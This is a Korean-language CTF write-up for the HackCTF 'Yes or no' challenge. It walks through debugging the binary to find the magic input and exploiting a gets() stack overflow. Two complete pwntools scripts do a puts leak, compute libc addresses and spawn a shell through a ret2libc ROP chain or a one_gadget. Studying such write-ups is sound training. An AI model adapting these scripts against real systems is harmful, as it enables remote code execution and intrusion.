HACKCTF - Yes or no

2020. 8. 27. 20:40CTF's Write-up

문제화면

 

18.04기준으로 테스트 되었다는데 나는 16.04를 써서 설마 안되겠어 하는 마음으로 일단 했다 ㅎ

실행시켜보면

 

 

실행화면

 

위와 같이 숫자 넣으라고하고 아니라고한다.

이부분에 대한 코드를 확인해보면

 

ida main

 

34번줄에서 어떠한 조건에 충족되면 다시 gets를 한번 받는데

이부분에서취약점에 발생할 확률이 높아 보인다.

해당 부분에 들어가기 위해서 어떤 숫자를 입력해야할지 디버깅을 통해 확인해보겠다.

 

pdisas main

 

main+249하고 main+266에서 puts, gets를 call하는데 두개를 동시에 call하는 부분이 이 프로그램에선 저부분 밖에 없으니 main+237에 bp를 걸고 값을 확인해보겠다.

 

실행메모리

 

rax를 보면 0x96000이 들어있고 이를 똑같이 맞춰주면 조건문에 알맞게 처리되서 "that's cool~~"멘트를 확인 할 수 있을 것이다.

0x96000은 16진수이니 이를 10진수로 바꿔주면 9830400 이다.

 

 

사진

 

조건문을 통과한 것을 볼 수 있다.

그럼 그 다음에 여기서 어떤 취약점을 이용해서 ex를 할 것인지를 생각해야하는데

 

보호기법

보호기법은 위와같다.

맨 처음 태그에서 RTL이 있었으니 이를 이용해서 익스를 해 보겠다.

참고로 RTL, ROP를 이용해서 할때는 leak과정을 꼭 거친 후 주소들끼리의 차를 계산해서 풀어야함으로 이부분을 유의해야한다.

우리가 익스할 과정을 정리해보면

 

1. puts 주소를 찾는다.

2. puts주소 - puts_offset 해서 base_add를 찾는다.

3. base_add를 기준으로 systemadd, binshadd를 계산해준다

4. main으로 이동한다.

4. 찾은 주소값을 기준으로 exploit한다.

 

위와같은 과정으로 익스플로잇하려면 찾아야하는 것들은 아래와 같다.

 

1. puts_got

2. puts_plt

3. system_offset

4. puts_offset

5. /bin/sh offset

6. main offset

7. rdi_ret

8. ret

 

1~6번까지는 pwntools 의 함수를 사용하면 찾을 수 있고, 7.8번은 rop gdbget을 사용했다.

 

7번
8번

 

익스플로잇은 아래와 같다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#context.log_level = "debug"
 
#r = process("./yes_or_no")
= remote("ctf.j0n9hyun.xyz",3009)
= ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
context.log_level = 'debug'
 
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main  = e.symbols['main']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binshadd = next(libc.search('/bin/sh'))
rdi_ret = 0x0000000000400883
ret = 0x000000000040056e
 
 
#leak memory
 
payload = ""
payload += "A"*0x12 +"A"*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
 
 
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
 
print(r.recvuntil("That's cool. Follow me\n"))
 
r.sendline(payload)
log.info("send payload")
 
#calculate memory address
puts_add = u64(r.recvuntil("\x7f").ljust(8'\x00'))
base_add = puts_add - puts_offset
system_add = base_add + system_offset
binsh = base_add + binshadd
log.info("puts_add = " + hex(puts_add))
log.info("base_add = " + hex(base_add))
log.info("system_add = " + hex(system_add))
log.info("binshadd = " + hex(binsh))
 
#exploit
payload2 = ""
payload2 += "A"*0x12 +"A"*0x8
payload2 += p64(rdi_ret)
payload2 += p64(binsh)
payload2 += p64(ret)
payload2 += p64(system_add)
 
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
 
print(r.recvuntil("That's cool. Follow me\n"))
log.info("sent payload")
r.sendline(payload2)
 
r.interactive()
cs

 

flag를 획득할 수 있다.

 

flag 획득

 

추가로 64bit이기에 oneshot를 활용하면 보다 쉽게 풀이할 수 있다.

oneshot을 찾는 방법은 아래와 같다.

 

 

one_gadget libc-2.27.so

 

아래와 같이 코드를 작성할 수 도 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
#context.log_level = "debug"
 
#r = process("./yes_or_no")
= remote("ctf.j0n9hyun.xyz",3009)
= ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
oneshot = 0x10a38c
context.log_level = 'debug'
 
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main  = e.symbols['main']
puts_offset = libc.symbols['puts']
rdi_ret = 0x0000000000400883
 
 
#leak memory
 
payload = ""
payload += "A"*0x12 +"A"*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
 
 
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
 
print(r.recvuntil("That's cool. Follow me\n"))
 
r.sendline(payload)
log.info("send payload")
 
#calculate memory address
puts_add = u64(r.recvuntil("\x7f").ljust(8'\x00'))
base_add = puts_add - puts_offset
oneshotadd = oneshot + base_add
log.info("puts_add = " + hex(puts_add))
log.info("base_add = " + hex(base_add))
log.info("oneshotadd = " + hex(oneshotadd))
 
 
payload2 = ""
payload2 += "A"*0x12 +"A"*0x8
payload2 += p64(oneshotadd)
 
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
 
print(r.recvuntil("That's cool. Follow me\n"))
log.info("sent payload")
r.sendline(payload2)
 
r.interactive()
cs

 

flag도 마찬가지로 얻을 수 있다.(grin)

 

flag획득

 

중간에 leak따서 올때 6바이트만 recv하는걸 너무 못 발견해서 고생좀했다..

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Handray  (0) 2020.09.03
[보호]HACKCTF - Cookie  (0) 2020.09.01
HACKCTF - Strncmp  (0) 2020.08.27
[보호]HACKCTF - Classic Cipher -4  (0) 2020.08.26
DreamHack - environ  (0) 2020.08.25